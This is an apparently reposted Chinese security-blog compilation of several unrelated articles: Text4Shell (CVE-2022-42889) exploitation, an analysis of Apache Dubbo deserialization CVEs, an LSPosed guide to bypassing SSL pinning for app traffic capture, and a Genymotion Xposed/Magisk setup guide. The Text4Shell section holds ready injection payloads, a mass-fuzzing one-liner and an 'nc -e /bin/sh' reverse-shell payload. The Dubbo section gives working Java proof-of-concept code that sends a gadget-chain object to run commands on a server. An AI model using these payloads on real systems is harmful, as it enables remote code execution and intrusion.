https://your-target.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7

Dns

1
2
3
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

https://your-target.com/exploit?search=%24%7Bdns%3Aaddress%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7

批量

有效载荷.txt

1
2
3
4
5
6
7
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}

for payload in $(cat payloads.txt|sed 's/ COLLABORATOR-HERE/SPACEid.burpcollaborator.com/g'); do echo TARGET.com | gau --blacklist ttf,woff,svg,png | qsreplace "$payload" | sed 's/SPACE/%20/g' | grep "java.lang.Runtime.getRuntime" >> payloads-final.txt;done && ffuf -w payloads-final.txt -u FUZZ

如何利用 CVE-2022-42889

为了重现攻击，易受攻击的组件部署在 Docker 容器中，可从 EC2 实例访问，该实例将由攻击者控制。使用 netcat (nc) 命令，我们可以打开与易受攻击的应用程序的反向 shell 连接。

易受攻击的 Web 应用程序公开了一个搜索 API，其中查询通过Commons Text 的StringSubstitutor进行插值：

1
http://web.app/text4shell/attack?search=<query>

以下有效载荷可用于利用该漏洞并打开反弹 shell：

1
${script:javascript:java.lang.Runtime.getRuntime().exec('nc 192.168.49.1 9090 -e /bin/sh')}

此有效负载由“${prefix:name}”组成，它触发字符串查找。如上所述，“script”、“dns”和“url”是可以作为前缀来利用漏洞的键。

在发送精心制作的请求之前，我们需要使用 netcat (nc) 命令设置反向 shell 连接以侦听端口 9090

1
nc -nlvp 9090

我们现在可以发送精心制作的请求，URL 对有效负载进行编码，如下所示。

image

我们可以看到攻击者成功打开了与易受攻击的应用程序的连接。

image

现在攻击者可以以 root 身份与易受攻击的机器交互并执行任意代码。

CVE-2022-42889 的影响

根据CVSSv3 系统，它的CRITICAL 严重性得分为 9.8 。

由于易于利用以及在机密性、完整性和可用性方面的巨大潜在影响，严重性至关重要。正如我们在上一节中通过精心设计的请求展示的那样，您可以完全控制易受攻击的系统。

但是，这些漏洞不太可能与之前的 log4shell 和 spring4shell 产生相同的影响。

查看易受攻击的组件，利用的可能性与 Apache Commons Text 库的使用有关。具体来说，只有当它使用一些用户控制的输入实现 StringSubstitutor 对象时，才有可能利用它。这种在生产环境中的实现不像 Log4j 中易受攻击的字符串替换那样普遍。因此，Text4Shell 的大规模影响并不能真正与 Log4Shell 相提并论。

检测和缓解 CVE-2022-42889

如果您受到CVE-2022-42889的影响，您应该将应用程序Apache Commons Text 更新到版本1.10。

burpsuite插件之Text4Shell漏扫扫描器

项目地址:

GitHub:
https://github.com/silentsignal/burp-text4shell

image

插件下载地址:

burp-text4shell.jar

单问题扫描

关于检测功能的注意事项：此插件只会为内置的主动扫描器提供有效负载，因此为了获得最佳覆盖率与性能，您必须正确配置扫描 – 就像任何其他内置或扩展提供的扫描一样.

如果您只想扫描 CVE-2022-42889（而不是 XSS 或 SQLi 等其他东西），这个插件可以实现。

按照以下说明，如果使用作为结果创建的扫描配置，扫描仪将仅对所有插入点执行 Text4Shell 检查。

  1. 创建新扫描时，单击Select from library选项Scan configuration卡
  2. 选择Audit checks - extensions onlyBurp Suite Pro 2.x 中内置的
  3. 禁用所有其他已注册活动扫描检查的扩展程序（如果适用）（例如 ActiveScan++、反斜杠驱动扫描、Burp Bounty 等），以便仅运行 Text4Shell 扫描程序

建造

执行./gradlew build，您将准备好插件 build/libs/burp-text4shell.jar

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

本文转自RacerZ 并作补充

写在前面

最近学习并梳理了一下 Apache dubbo 的两个经典由于泛化调用处理存在问题的 CVE 漏洞，并分析了一下最新 CVE-2023-29234 ，总结出了两种利用方式。

CVE-2021-30179

前置：泛化调用

泛化调用（客户端泛化调用）是指在调用方没有服务方提供的 API（SDK）的情况下，对服务方进行调用，并且可以正常拿到调用结果。详细见 https://cn.dubbo.apache.org/zh-cn/overview/tasks/develop/generic/

调试分析

org.apache.dubbo.remoting.transport.DecodeHandler#received 作为客户端 RPC 调用请求信息处理的入口点，调用 decode 方法。

image

根据参数类型可知实际会调用到 org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode()
其中会先调用 CodecSupport.getSerialization 方法，根据 id 选择相应的反序列化策略，默认会走 org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize ，最终返回一个 Hessian2ObjectInput 实例。接着这一部分会按照顺序依次解析序列化流，获取 dubbo 服务版本、服务类路径、子版本、服务方法名以及参数描述符。

image

之后会根据方法名和参数名在服务端查找是否存在对应的服务方法，如果为 null，则调用 RpcUtils.isGenericCall 判断是否为泛型引用。

image

image

如果是的话则调用 ReflectUtils.desc2classArray 方法显式加载 desc 当中的类。之后根据类型执行 readObject 反序列化参数值，并设置到 RpcInvocation 实例的各个字段当中。

image

这个地方之前也是存在反序列化攻击利用的（感兴趣的师傅可以翻一翻以前的 CVE 分析）。不过根据

https://threedr3am.github.io/2021/06/01/CVE-2021-30179 - Dubbo Pre-auth RCE via Java deserialization in the Generic filter/
提到：“受限于默认hessian或者已配置的序列化类型，具有一定的局限性”。

整体梳理一下这部分序列化/反序列化参数顺序：

  • string * 5 (dubboVersion / path / version / methodName / desc)
  • object * args (参数值实例，具体数量根据方法描述符 desc 决定)
  • map (这里面可用于设置 generic key)
    之后会去执行 org.apache.dubbo.remoting.exchange.support.header.HeaderExchangeHandler#received ，这里关注到 message 参数类型当前为 Request 类，因此会走第一个分支（后续会关注到 Response 分支部分）。

image

观察到刚才解析得到的各个参数值位于 message 的 mData 字段。

image

第一个分支当中会再次取出 mData 的字段值转化为 RpcInvocation 类实例，并调用 org.apache.dubbo.remoting.exchange.support.ExchangeHandlerAdapter#received 方法，进一步调用 reply 。

image

之后就会触发一系列 Filter 的 invoke 方法，调用栈如下：

image

关键 filter 函数是 org.apache.dubbo.rpc.filter.GenericFilter#invoke ，再次判断是否为泛型引用之后，会根据 inv 中提供的方法名从 dubbo 服务中找到对应方法，并取出参数类型和具体的参数值。

image

中间会从 inv 的 attachments 中取出 key 为 generic 的值，这个 generic 代表不同的反序列化策略，除 raw.return 外还有 nativejava、bean、protobuf-json 等。

raw.return 反序列化方式分析

这里如果值为 raw.return ，则会调用 PojoUtils.realize 方法，接着会对每个 args 值调用 realize0 方法，如果这个 arg 属于 Map 类型，则取出 class 键值，并使用 ClassUtils.forName 方法，其中会对传入的 className 使用应用类加载器进行类加载。

image

之后对于加载的 class 调用 newInstance 进行实例化。这里首先会去调用 class 默认的 public 构造函数，如果无法访问则会去遍历所有的构造器，优先获取参数个数为 0 的构造函数并反射调用。

image

之后便是漏洞的一大利用点，它针对 HashMap 当中剩下的键值，先尝试获取 key 在实例化 class 当中对应 field 的 setter 方法（要求为单参数），如果可以获取到的话。会用和刚才相同的逻辑递归实例化参数值，并反射调用；如果获取不到 setter 方法，则直接反射设置 field 的值。

image

因此针对 raw.return 反序列化方式的利用是通过 Map 的方式来传入利用 class，可利用 class 的位置有 3 个：

1
2
3
1. public/private 修饰的无参构造函数
2. 参数为 1 的 setter 方法
3. 支持对实例化的 class 任意字段赋值

bean 反序列化方式分析

这里会先遍历判断每个参数值是否为 JavaBeanDescriptor 类型，如果是则调用 JavaBeanSerializeUtil.deserialize 方法。

image

后面会调用到 instantiateForDeserialize 实例化方法，其中调用name2Class 方法中的 Class.forName 进行类加载，然后 instatiate 实例化。

image

image

之后 deserializeInternal ，与 raw.return 的利用思路类似，如果 beanDescriptor 实例的 type 等于 TYPE_BEAN 的话则会依次执行指定 key 字段的 setter 方法或者反射为字段赋值。

image

PS：其中 type 可以通过构造 beanDescriptor 实例时设置。

image

native 反序列化方式

这个利用比较特殊，需要配置中开启 dubbo.security.serialize.generic.native-java-enable 选项才能使用。
这里如果参数值为 byte[] 数组的话，则会传入 UnsafeByteArrayInputStream 构造函数当中，后加载并调用 NativeJavaObjectInput 的 deserialize 方法。

image

该类的 inputStream 字段封装了 ObjectInputStream 输入流，最终反序列化时也会调用的是后者，因此可触发二次反序列化。

image

CVE-2023-23638 （学习 bypass 思路）

受影响版本：Apache Dubbo 3.0.x <= 3.0.13；3.1.x <= 3.1.5
前版本 diff 分析
org.apache.dubbo.rpc.filter.GenericFilter#invoke 方法当中，会对每个 args 值调用 realize0 方法，如果这个 arg 属于 Map 类型，则取出 class 键值，调用 SerializeClassChecker.getInstance().validateClass ，里面会作黑名单检查。

image

image

bypass 思路

native 反序列化方式

这个反序列化方式可以让我们触发一个二次反序列化，从而绕过上述安全检查。但是困难点在于 dubbo.security.serialize.generic.native-java-enable 选项默认未开启，因此利用思路就是寻找如何将它打开。
于是这个 org.apache.dubbo.common.utils.ConfigUtils#setProperties 方法就十分有用，利用它可将CommonConstants.ENABLE_NATIVE_JAVA_GENERIC_SERIALIZE 属性设置为 true 即可。当然从 dubbo 的源码中可知 System.setProperties 也是可以直接设置 dubbo 服务属性的。
因此绕过部分的 map 就可以写成：

image

raw.return 反序列化方式

将 SerializeClassChecker 类的 CLASS_DESERIALIZE_BLOCKED_SET 置空或者 OPEN_CHECK_CLASS 设置为 false，这个类实例的获取方式为单例模式，因此需要控制 INSTANCE 字段为上面指定的实例。

image

绕过部分的 map 可以写成：

image

修复方案

新增 SerializeClassChecker 类检查器，其中指定了 dubbo.application.check-serializable 默认为 true。

image

其中的 validateClass 方法会检查指定反序列化类是否可序列化。这个方法会在 realize0 中调用。

image

之前需要用来设置属性的利用类 org.apache.dubbo.common.utils.ConfigUtils 以及 java.lang.System 均未实现序列化接口，因此不再可利用；同样，org.apache.dubbo.common.utils.SerializeClassChecker 也未实现序列化接口，无法覆盖其相关检查字段。

CVE-2023-29234 （1day）

受影响版本：

image

git diff: https://github.com/apache/dubbo/commit/9ae97ea053dad758a0346a9acda4fbc8ea01429a
org.apache.dubbo.common.serialize.ObjectInput#readThrowable 方法抛出异常的地方作了修改，而之前版本会直接打印 obj 对象，隐式触发 toString 方法，漏洞场景类似 CVE-2021-43297。

image

反向溯源调用位置，位于该函数的 switch-case 语句的 DubboCodec.RESPONSE_WITH_EXCEPTION 分支处调用 org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcResult#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)

image

调用链如下：

1
2
3
4
5
6
7
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcResult#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
    --->
        handleException()
            --->
                ObjectInput.readThrowable()
                    --->
                        obj.toString()

Dubbo 编解码那些事_decodeablerpcresult-CSDN博客 可知 DecodeableRpcResult 这个类是在 dubbo 服务的消费者接收提供者方发来的响应时解码使用。

利用方式一：fake server

测试版本：Apache Dubbo 3.1.10
我们知道 dubbo 支持多种序列化方式，对于 dubbo 协议来说默认为 hessian2，其他如下所示（hessian2 对应 id 为 2，也可以通过 Serialization.getContentTypeId() 获得）

image

由官方文档可知，这个协议如何配置完全由服务方定的，因此完全可以做一个 fake server 来诱导客户端主动连接。

image

因此我们可以重写服务端编码响应信息函数的部分逻辑，主动构造一个用于上面提到的 toString 调用链对象来替代 Throwable 实例 th。
具体重写位置在 org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#encodeResponseData(org.apache.dubbo.remoting.Channel, org.apache.dubbo.common.serialize.ObjectOutput, java.lang.Object, java.lang.String)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@Override
    protected void encodeResponseData(Channel channel, ObjectOutput out, Object data, String version) throws IOException {
        Result result = (Result) data;
        // currently, the version value in Response records the version of Request
        boolean attach = Version.isSupportResponseAttachment(version);
//         Throwable th = result.getException();   
         Object th = null;  // 利用点： 用于 toString 的 gadget chain
         try {
                th = getThrowablePayload("open -a calculator");
            } catch (Exception e) {

            }

        if (th == null) {
            Object ret = result.getValue();
            if (ret == null) {
                out.writeByte(attach ? RESPONSE_NULL_VALUE_WITH_ATTACHMENTS : RESPONSE_NULL_VALUE);
            } else {
                out.writeByte(attach ? RESPONSE_VALUE_WITH_ATTACHMENTS : RESPONSE_VALUE);   
                out.writeObject(ret);   
            }
        } else {
            out.writeByte(attach ? RESPONSE_WITH_EXCEPTION_WITH_ATTACHMENTS : RESPONSE_WITH_EXCEPTION);
//            out.writeThrowable(th); 
            out.writeObject(th);    // 直接序列化对象即可
        }

        if (attach) {
            // returns current version of Response to consumer side.
            result.getObjectAttachments().put(DUBBO_VERSION_KEY, Version.getProtocolVersion());
            out.writeAttachments(result.getObjectAttachments());
        }
    }

这里的 toString 调用链以 Rome toString 的利用部分为例，师傅们也可以选择/挖掘其他可利用的 gadget；同时，为了方便这里直接指定服务端的协议配置中的序列化方式为 nativejava，它反序列化时直接会使用 ObjectInputStream#readObject 。大家也可以探索一下其他序列化方式当中的黑名单绕过情况。

1
<dubbo:protocol name="dubbo" port="20880" serialization="nativejava"/>

客户端发起正常服务请求后，解码响应信息时顺利触发至 org.apache.dubbo.common.serialize.ObjectInput#readThrowable 位置，状态如下：

image

利用方式二：客户端打服务端

测试版本：3.1.5
由于 dubbo 并没有限制客户端不能发送 Response 数据，因此客户端同样可以构造一个 Response 信息发给服务端。
但是在服务端解码响应信息时，即函数调用位置为 org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody，不同版本之间存在差异性，这里测试了一下 3.1.10 以及 3.1.5 之间的区别。
首先是 3.1.5 版本，注意到在创建 DecodeableRpcResult 实例时，其中一个构造参数 invocation 来自于 getRequestData(id)

image

跟入可知这个 invocation 来自于 dubbo 服务当中还没处理完毕的请求，会根据 id 值来获取，而由于我们这里只发送了一个 Response 信息，DefaultFuture 当中的 FUTURES map 为空，这里也就会返回 null。

image

但是依然可以将 DecodeableRpcResult 实例构造出来，并设置到 res 变量的 mResult 字段当中。

image

后续在触发到 toString 入口的过程中，不会因为 mResult 字段为 null 或者非 Decodeable 类而中断（DecodeableRpcResult 是 Decodeable 的实现）。

image

而对于 3.1.10 版本，getRequestData 方法如果获取不到 future 会直接抛出异常，进而无法创建出有效的 DecodeableRpcResult 实例。

image

进而，后续 message 参数会由于是 null 而直接返回。

image

这里给出 3.1.5 版本下的测试 POC 核心部分：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public static void main(String[] args) throws Exception {

        ByteArrayOutputStream boos = new ByteArrayOutputStream();
        ByteArrayOutputStream nativeJavaBoos = new ByteArrayOutputStream();
        Serialization serialization = new NativeJavaSerialization();
        NativeJavaObjectOutput out = new NativeJavaObjectOutput(nativeJavaBoos);

        // header.
        byte[] header = new byte[HEADER_LENGTH];
        // set magic number.
        Bytes.short2bytes(MAGIC, header);
        // set request and serialization flag.
        header[2] = serialization.getContentTypeId();

        header[3] = Response.OK;
        Bytes.long2bytes(1, header, 4);

        // result
        Object exp = getThrowablePayload("open -a calculator"); // Rome toString 利用链
        out.writeByte(RESPONSE_WITH_EXCEPTION);
        out.writeObject(exp);

        out.flushBuffer();

        Bytes.int2bytes(nativeJavaBoos.size(), header, 12);
        boos.write(header);
        boos.write(nativeJavaBoos.toByteArray());

        byte[] responseData = boos.toByteArray();

        Socket socket = new Socket("127.0.0.1", 20880);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(responseData);
        outputStream.flush();
        outputStream.close();
    }

    protected static Object getThrowablePayload(String command) throws Exception {
        Object o = Gadgets.createTemplatesImpl(command);
        ObjectBean delegate = new ObjectBean(Templates.class, o);

        return delegate;
    }

image

完整 POC 项目基于 DubboPOC 作的修改和添加，可见 CVE-2023-29234
PS：git diff 当中还存在其他位置的 patch，值得进一步探索其他的利用方式（篇幅有限）。

引用

[1] Apache dubbo 反序列化漏洞（CVE-2023-23638）分析及利用探索 - 先知社区 (aliyun.com)
[2] CVE-2023-29234: Bypass serialize checks in Apache Dubbo-Apache Mail Archives
[3] 开发服务 | Apache Dubbo
[4] Apache Dubbo CVE-2023-23638 JavaNative 反序列化漏洞分析 - 先知社区 (aliyun.com)
[5] 【漏洞分析】Dubbo Pre-auth RCE（CVE-2021-30179） (qq.com)
[6] RPC 通信协议 | Apache Dubbo
[7] DubboPOC/src/main/java/top/lz2y/vul/CVE202323638.java at main · lz2y/DubboPOC (github.com)
[8] Apache Dubbo 反序列化漏洞（CVE-2023-29234） · Issue #334 · y1ong/blog-timeline (github.com)

APP 测试 - LSPosed 绕过 SSL 证书抓包

APP 测试 - LSPosed 绕过 SSL 证书抓包

本文转自LuckySec 并作补充

前言

前面介绍了通过《VirtualXposed 绕过 SSL 证书抓包》，这个方法有些局限性，比如不能在电脑上的《夜神模拟器》、《雷电模拟器》运行，需要一部测试手机等因素，对于部分人来说可能不太方便，还是更喜欢都在电脑上完成这系列操作，可以尝试用 LSPosed 绕过 SSL 证书抓包。

0x01 工具简介

LSPosed 是一个基于 Riru/Zygisk 的 ART Hook 框架，该框架利用 LSPlant 挂钩框架提供与 OG Xposed 一致的 API, 支持 Android 8.1 ~ 13。

Xposed 是一个模块框架，可以在不接触任何 APK 的情况下改变系统和应用程序的行为。利用 Xposed 的 TrustMeAlready 模块插件，可以防止软件检测抓包，绕过大部分 ssl-pinning，保证 APP 抓包的可续性能。

0x02 下载安装

特别提示：在安装之前需要注意以下几点：

0x03 抓包教程

注意：如果用雷电模拟器请使用 9.0.19 或之前的版本，避免不必要的问题发生。

以夜神模拟器为例，添加并运行一个 Android 9 的虚拟机。

image

在模拟器设置里将虚拟机设置为网络桥接模式、开启 ROOT（默认开启），设置好后重启虚拟机。

image

在夜神模拟器虚拟机里安装 Magisk.apk、Magisk Terminal Emulato.apk、app-debug.apk（安装成功不显示在主界面）、LSPosed-manager.apk。

image

打开 Magisk Terminal Emulator.apk，按照如下步骤操作：输入 m 按回车 > 再输入 y 按回车 > 超级用户授权允许 > 再输入 1 按回车 > 输入 a 按回车 > 再输入 1 按回车 > 完毕。

image

上述步骤完成后，重启模拟器，打开 Magisk.apk 可以发现 Magisk 安装成功。

image

打开 Magisk.apk > 点击右上角齿轮按钮 > 界面往下滑动，找到 Zygisk 选项打开并重启模拟器虚拟机。

image

接着将 LSPosed-v1.8.6-6712-zygisk-release.zip 复制到模拟器文件夹里面。打开 Magisk.apk > 底部模块选项 > 从本地安装 > 选择模拟器文件夹内的 LSPosed-v1.8.6-6712-zygisk-release.zip 卡刷包。

image

重启模拟器虚拟机后，打开 LSPosed-manager.apk，可以发现 LSPosed 安装成功了。

image

然后在夜神模拟器虚拟机里安装 TrustMeAlready-v1.11.apk，安装这个 apk 主界面图标可能会卡在安装的动画，不必在意，忽略即可。

image

接着打开 LSPosed-manager.apk 的底部模块选项，点击 TrustMeAlready，启动模块，选择要测试的 APP。

image

使用 BurpSuite 工具开启代理抓包，设置监听地址为同一局域网 IP 地址，端口自定义，不与电脑其他端口冲突使用即可。

image

在夜神模拟器手机系统设置中将 WiFi 的代理设置为 BurpSuite 监听器的地址。

image

最后，打开要测试的 APP，刷新功能页面，在 BurpSuite 中即可看到抓取的 HTTP/HTTPS 网络数据包。

image

参考文章

How to install Xposed/EdXposed/LSPosed + Magisk with Genymotion Desktop?

How to install Xposed/EdXposed/LSPosed + Magisk with Genymotion Desktop?

本文转自Genymotion Help Center 并作补充

Warning

GENYMOBILE assumes no liability whatsoever resulting from the download, install and use of Xposed, EdXposed, LSPosed and Magisk. Use at your own risk.

Note

Because Xposed and EdXposed are no longer maintained, we strongly recommend not using them anymore.

Android 5.0 - 7.1

Prerequisites

  • Xposed framework
  • Xposed installer

Installation

  1. Drag’n drop the Xposed framework zip file (xposed-vXX-sdkXX-x86.zip) to your virtual device display to flash the device.
  2. Drag’n drop Xposed Installer APK (XposedInstaller_*.apk). This should install and launch Xposed Installer application. At this stage, it will display that the Xposed framework is installed but disabled:

image

  1. Reboot the device with adb reboot command. Do not reboot from *Xposed Installer* as this will freeze the device.

  2. Launch Xposed installer. It should display “Xposed Framework version XX is active”:

image

Android 8.0

Xposed only works with Android 5.0 to 7.1. For Android 8.0, you need to use Magisk + Edxposed instead.

Prerequisites

Installation

Step 1: Install Magisk

  1. Drag’n Drop Magisk Manager apk: Magisk-v23.0.apk. Magisk Manager will install and open. Close it for now.
  2. Drag’n Drop Magisk_rebuilt_1c8ebfac_x86.zip and flash it.
  3. When flashing is complete, reboot the device.
  4. Launch Magisk Manager. It will request ROOT access, select “Remember choice forever” and click Allow:

image

It is possible that the popup opens in the background and is covered by Magisk Manager main window. If so press back to access the popup and allow ROOT:

image

  1. You will then be prompted with an update to apply, accept it:

image

  1. The device will reboot one more time. Launch Magisk Manager again, you should now be informed that Magisk is now installed in 1c8ebfac(23015) version:

image

Step 2: Install Riru

Important

Do not install the Riru version available in the Magisk Manager app. Use the old Riru v25 version provided in this article (see prerequisite).

  1. Drag’n drop the Riru archive onto the instance display: riru-v25.4.4-release.zip. Do not flash it! The archive must be installed from Magisk Manager.
  2. Launch Magisk Manager app and click on the last icon in the bottom toolbar to go to the module section:

image

  1. Click “install from storage”:

image

  1. Go to the Download folder from the menu:

image

  1. Select the Riru archive, riru-v25.4.4-release.zip
  2. Reboot the device

Riru version 25 should now be present in the installed modules list in Magisk Manager:

image

Important

Make sure NOT to update to Riru v26 as it does not work with EdXposed right now.

Step 3: Install EdXposed

  1. You can install EdXposed framework from Magisk Manager. Go to Magisk Manager module manager:

image

  1. Open the search widget and input “Edxposed”. Select Riru - EdXposed:

image

  1. Install the module:

image

  1. Reboot the device.

  2. Drag’n drop Edxposed manager APK file (EdXposedManager-4.5.7-45700-org.meowcat.edxposed.manager-release.apk) to the device display.

  3. Reboot the device

Edxposed manager should launch and display “Edxposed framework is active”:

image

Android 8.1 and above

Edxposed and Xposed are no longer maintained and there are no builds for Android 12 and above.

Instead, we will use LSPosed and Magisk for Android 8.1 and above.

Prerequisite

Installation

Step 1: Install Magisk

  1. Drag’n Drop Magisk Manager apk: Magisk-v23.0.apk. Magisk Manager will install and open. Close it for now.
  2. Drag’n Drop the flashable archive:
    • Magisk_rebuilt_1c8ebfac_x86.zip if you use Android 8.1 - 10
    • Magisk_rebuilt_1c8ebfac_x86_64.zip if you use Android 11 and above on a PC or an old Mac Intel
    • Magisk_rebuilt_1c8ebfac_arm64.zip if you use a mac M1/M2
  3. When flashing is complete, reboot the device.
  4. Launch Magisk Manager. It will request ROOT access, select “Remember choice forever” and click Allow:

image

It is possible that the popup opens in the background and is covered by Magisk Manager main window. If so press back to access the popup and allow ROOT:

image

  1. You will then be prompted with an update to apply, accept it:

image

  1. The device will reboot one more time. Launch Magisk Manager again, you should now be informed that Magisk is now installed in 1c8ebfac(23015) version:

image

Step 2: Install Riru

Important

Do not install the Riru version available in the Magisk Manager app. Use the old Riru v25 version provided in this article (see prerequisite).

  1. Drag’n drop the Riru archive onto the instance display: riru-v25.4.4-release.zip. The flashing process will fail, but this is normal. The archive must be installed from Magisk Manager.
  2. Launch Magisk Manager app and click on the last icon in the bottom toolbar to go to the module section:

image

  1. Click “install from storage”:

image

  1. Go to the Download folder from the menu:

image

  1. Select the Riru archive, riru-v25.4.4-release.zip

  2. Reboot the device

Riru version 25 should now be present in the installed modules list in Magisk Manager:

image

Step 3: Install Riru - LSPosed

  1. Drag and drop the LSPosed archive to the device. Do not flash it!
  2. Open Magisk Manager, go to the plugin manager page:

image

  1. click Install from storage and select LSPosed-v1.8.6-6712-riru-release.zip:

image

  1. Reboot the device when prompted

  2. Drag’n Drop LSPosed_manager.apk, LSPosed manager should open:

image